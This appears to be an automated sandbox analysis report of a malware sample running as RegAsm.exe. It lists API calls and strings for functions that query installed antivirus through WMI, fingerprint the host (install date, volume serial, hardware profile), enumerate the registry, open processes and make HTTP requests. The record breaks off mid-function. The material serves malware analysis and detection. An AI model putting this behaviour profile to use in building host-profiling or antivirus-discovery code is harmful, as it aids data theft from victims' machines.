Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$Processlstrcpylstrlen$FileHeapmemset$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait
String ID:
API String ID: 36237839-0
Opcode ID: f46b7f6dcf013fd70476b3e03b5da1cda96f856d97b4c99cc6374ea3bd78b17d
Instruction ID: a07319064bb3ccddf9a0efa96e0f253e2b573725a1a3df2111187ec99c7616ac
Opcode Fuzzy Hash: f46b7f6dcf013fd70476b3e03b5da1cda96f856d97b4c99cc6374ea3bd78b17d
Instruction Fuzzy Hash: 4C126D31800148EEDF05EBE6DC46AEDBB74AF24308F50486EF442721D2EF791A19DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408A2F Relevance: 33.4, APIs: 22, Instructions: 387stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00408A34

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00000000,?,00423AD7), ref: 00408AE5
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00408C50
RtlAllocateHeap.NTDLL(00000000), ref: 00408C57
lstrcat.KERNEL32(?,00000000), ref: 00408D7B
lstrcat.KERNEL32(?,00423CB0), ref: 00408D89
lstrcat.KERNEL32(?,00000000), ref: 00408D9B
lstrcat.KERNEL32(?,00423CB4), ref: 00408DA9
lstrlen.KERNEL32(?), ref: 00408EBC
lstrlen.KERNEL32(?), ref: 00408ECA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

memset.MSVCRT ref: 00408F20
DeleteFileA.KERNEL32(00000000), ref: 00408F45

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyCreateDeleteObjectProcessSingleSystemThreadTimeWaitmemset
String ID:
API String ID: 156379684-0
Opcode ID: 214927e2a1d520b79821a5260d73ccb5bdc00e49c5e103405044268a1e052877
Instruction ID: 59b21dadaf2c4c7a6111e4b0da580445d34c8f80196bf31f833ad6a6be4d0115
Opcode Fuzzy Hash: 214927e2a1d520b79821a5260d73ccb5bdc00e49c5e103405044268a1e052877
Instruction Fuzzy Hash: 1CF16A31800148EEDB05EBE6DD46BEDBB75AF24308F10886AF442721D2EF781A19DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040F4D4 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 146memorycomtimeCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F4D9
CoInitializeEx.OLE32(00000000,00000000,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000), ref: 0040F4E9
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,?,00424428), ref: 0040F4FA
CoCreateInstance.OLE32(00424CC8,00000000,00000001,00424BF8,?,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000), ref: 0040F514
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,?,?,?,?,?,00424428,00000000), ref: 0040F54A
VariantInit.OLEAUT32(?), ref: 0040F5A5

Part of subcall function 0040F43A: CoCreateInstance.OLE32(00424A78,00000000,00000001,00424298,00000000,?), ref: 0040F45A
Part of subcall function 0040F43A: SysAllocString.OLEAUT32(00000000), ref: 0040F468
Part of subcall function 0040F43A: _wtoi64.MSVCRT ref: 0040F4AA
Part of subcall function 0040F43A: SysFreeString.OLEAUT32(?), ref: 0040F4BF
Part of subcall function 0040F43A: SysFreeString.OLEAUT32(00000000), ref: 0040F4C2

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F5DC
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F5E8
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00424428,00000000,?,Work Dir: In memory,00000000,?,00424410), ref: 0040F5EF
VariantClear.OLEAUT32(?), ref: 0040F631
wsprintfA.USER32 ref: 0040F61B

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Strings

ROOT\CIMV2, xrefs: 0040F527
%d/%d/%d %d:%d:%d, xrefs: 0040F615
InstallDate, xrefs: 0040F5B7
WQL, xrefs: 0040F55F
Unknown, xrefs: 0040F639
Select * From Win32_OperatingSystem, xrefs: 0040F55A
Unknown, xrefs: 0040F640

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prologInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$WQL
API String ID: 3912155974-2016369993
Opcode ID: df7e2f33d7694328f8c103f5683058b6142fea671d3315eb2a9b89803af2b7e5
Instruction ID: 655ce330ca4d4aa924d2826c903e5853b53452371f98fa029f848029e1d660c3
Opcode Fuzzy Hash: df7e2f33d7694328f8c103f5683058b6142fea671d3315eb2a9b89803af2b7e5
Instruction Fuzzy Hash: 91415771A01229BBCB209F91DC49EEF7FBCEF49B10F104426F505B6190D7789A42CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004104B5 Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 325stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004104BA
strtok_s.MSVCRT ref: 004104EB
StrCmpCA.SHLWAPI(?,true,?,?,00000104,?,00000104,?,?,00000000), ref: 00410583

Part of subcall function 0040E5F4: lstrlen.KERNEL32(?,00000000,?,00414F6E,004243BA,004243B7,00000000,00000000,?,00415729), ref: 0040E5FD
Part of subcall function 0040E5F4: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E631

lstrcpy.KERNEL32(?,?), ref: 0041063A
lstrcpy.KERNEL32(?,00000000), ref: 00410676
lstrcpy.KERNEL32(?,00000000), ref: 004106BD
lstrcpy.KERNEL32(?,00000000), ref: 00410704
lstrcpy.KERNEL32(?,00000000), ref: 0041074B
strtok_s.MSVCRT ref: 004108AE

Strings

true, xrefs: 0041057B
false, xrefs: 0041059D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$H_prologlstrlen
String ID: false$true
API String ID: 49562497-2658103896
Opcode ID: 35a901e995ce7fe664252637ef9845fa4609af5ef89428851785c4cab004e7be
Instruction ID: 955e8317cf9e73fa76428418dc7df0127b4732714c2a613baa526150cea9324c
Opcode Fuzzy Hash: 35a901e995ce7fe664252637ef9845fa4609af5ef89428851785c4cab004e7be
Instruction Fuzzy Hash: 5CC1817190020AEFDF24EBA5DC45EDE77B9AF48304F10447AF415B3291EE389A89CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040532C Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 174networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00405331

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405394
StrCmpCA.SHLWAPI(?), ref: 004053A8
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004053CB
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405401
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405425
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405430
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040544E
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004054D4
InternetCloseHandle.WININET(00000000), ref: 004054DF
InternetCloseHandle.WININET(?), ref: 004054E8
InternetCloseHandle.WININET(?), ref: 004054F1

Strings

GET, xrefs: 004053F9
ERROR, xrefs: 00405542
ERROR, xrefs: 0040545B

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologOpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 2435781452-2509457195
Opcode ID: 922fd3d66351ff665e0d5f6ddb3770afd655ba989bd980a2f02c20c4a07f87ae
Instruction ID: e47a2a9dff836191dae03e7e5be7413cbf7b6e94c466dc4e05db9cff99f48105
Opcode Fuzzy Hash: 922fd3d66351ff665e0d5f6ddb3770afd655ba989bd980a2f02c20c4a07f87ae
Instruction Fuzzy Hash: BB516D71900119BFEB11DFE5DC85EEEBB7DEB08708F10442AF901B2281DB785A458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004045D8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170networkmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004045DD

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404624
RtlAllocateHeap.NTDLL(00000000), ref: 0040462B
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040464A
StrCmpCA.SHLWAPI(?), ref: 0040465E
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404682
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 004046B8
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004046DC
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004046E7
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404705
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040475D
InternetCloseHandle.WININET(00000000), ref: 0040478F
InternetCloseHandle.WININET(?), ref: 00404798
InternetCloseHandle.WININET(?), ref: 004047A1

Strings

GET, xrefs: 004046B0

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologHeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 1687531150-1805413626
Opcode ID: da46ffb43042a774ca468759a5921c5ce18265a9758c19c371aa4c638cea0554
Instruction ID: 840ccbdca42a38d6a765fcc81b709fe69bd95181e767162edbb97da0f5df4511
Opcode Fuzzy Hash: da46ffb43042a774ca468759a5921c5ce18265a9758c19c371aa4c638cea0554
Instruction Fuzzy Hash: B2515AB2900119AFDB10EFE0DC85AEEBBBDEB49714F00052AF611B3190D7784E458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F65D Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 116comCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F662
CoInitializeEx.OLE32(00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000,?,00000000), ref: 0040F672
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410), ref: 0040F683
CoCreateInstance.OLE32(00424CC8,00000000,00000001,00424BF8,?,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000,?,00000000), ref: 0040F69D
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000), ref: 0040F6D3
VariantInit.OLEAUT32(?), ref: 0040F722

Part of subcall function 0040F9A1: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,0040F748,?,?,00000000,?,Work Dir: In memory,00000000,?,00424410,00000000,?,00000000), ref: 0040F9A9
Part of subcall function 0040F9A1: CharToOemW.USER32(?,00000000), ref: 0040F9B5

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

VariantClear.OLEAUT32(?), ref: 0040F756

Strings

Select * From AntiVirusProduct, xrefs: 0040F6E3
displayName, xrefs: 0040F734
Unknown, xrefs: 0040F75E
WQL, xrefs: 0040F6E8
Unknown, xrefs: 0040F765
root\SecurityCenter2, xrefs: 0040F6B0

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prologInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3694693100-2776955613
Opcode ID: ec61c48b394b8bd1b838beaff992832fa5fa27464bd44cc03a9d29044823b587
Instruction ID: e25b098bfabf79a846c1ab49ed7bbde85b5b336b52c70160ae89486b296fc3b1
Opcode Fuzzy Hash: ec61c48b394b8bd1b838beaff992832fa5fa27464bd44cc03a9d29044823b587
Instruction Fuzzy Hash: E0314970A01229BBCB209B92DC49EEF7F78FF89B50F10452AF115B6190C7789601CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDE7 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040EDEC

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004240DF,00000000,00000000), ref: 0040EE34
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 0040EE7E
wsprintfA.USER32 ref: 0040EEA8
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0040EEC5
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 0040EEEF
lstrlen.KERNEL32(?), ref: 0040EF04
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00424110), ref: 0040EF84

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Strings

%s\%s, xrefs: 0040EEA2
- , xrefs: 0040EF8E
?, xrefs: 0040EE2A

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$EnumH_prologlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 404191982-3278919252
Opcode ID: 88fcf90db8ba0c46acaae073f2efc8c1a479e5b9edb38c8ff576a1bff4274926
Instruction ID: b3af7245d51e2a97d718d3e2ca8061efa7b4944ae627a7e9f07a1845d3c489bf
Opcode Fuzzy Hash: 88fcf90db8ba0c46acaae073f2efc8c1a479e5b9edb38c8ff576a1bff4274926
Instruction Fuzzy Hash: D571087180021DEECF15DFE2DD849EEBBBDBB18304F50486AF505B2291EB395A18CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2E6 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040E2EB
??_U@YAPAXI@Z.MSVCRT ref: 0040E301
OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000), ref: 0040E323
memset.MSVCRT ref: 0040E365
??_V@YAXPAX@Z.MSVCRT ref: 0040E49E

Part of subcall function 0040E1A3: strlen.MSVCRT ref: 0040E1BA

Part of subcall function 0040DE52: memcpy.MSVCRT ref: 0040DE72

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0040E37D, 0040E466
N0ZWFt, xrefs: 0040E408, 0040E415

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologOpenProcessmemcpymemsetstrlen
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 3050127167-1622206642
Opcode ID: 8fbcb04197499aee056308acc981a7796b2f9812aba5cb04e0c4b3411a2ab5fe
Instruction ID: aa24d39016a57ce3eeba169e9f188326cfac96e702646abf1cd35b76672b4d22
Opcode Fuzzy Hash: 8fbcb04197499aee056308acc981a7796b2f9812aba5cb04e0c4b3411a2ab5fe
Instruction Fuzzy Hash: A5519C71D00218AEDB10EF95DC81AEEBBB8EF04704F20053EF215B62C1DA785E88CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F253 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F258
GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F27B
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F2AD
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F2F0
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F2F7
wsprintfA.USER32 ref: 0040F323
lstrcat.KERNEL32(00000000,004240B8), ref: 0040F332

Part of subcall function 0040F218: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F229

lstrlen.KERNEL32(00000000), ref: 0040F351

Part of subcall function 0040FE68: malloc.MSVCRT ref: 0040FE76
Part of subcall function 0040FE68: strncpy.MSVCRT ref: 0040FE86

lstrcat.KERNEL32(00000000,00000000), ref: 0040F37E

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Strings

:\, xrefs: 0040F2A3
C, xrefs: 0040F285

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryH_prologInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C
API String ID: 688099012-3309953409
Opcode ID: 739051c32a13f2f07250d18c1f29f0ae17f5d2e61788a2bd37f4db9c77c62f43
Instruction ID: bfe0def658f07879e8919644e638436bfa11aaebebb13aa95792f6183e1b9a70
Opcode Fuzzy Hash: 739051c32a13f2f07250d18c1f29f0ae17f5d2e61788a2bd37f4db9c77c62f43
Instruction Fuzzy Hash: 1D415071801158AACB11EBE6DD899EFBB7DEF59304F10047EF905B3181D6384A19CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00411B01 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411B06

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040532C: _EH_prolog.MSVCRT ref: 00405331
Part of subcall function 0040532C: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405394
Part of subcall function 0040532C: StrCmpCA.SHLWAPI(?), ref: 004053A8
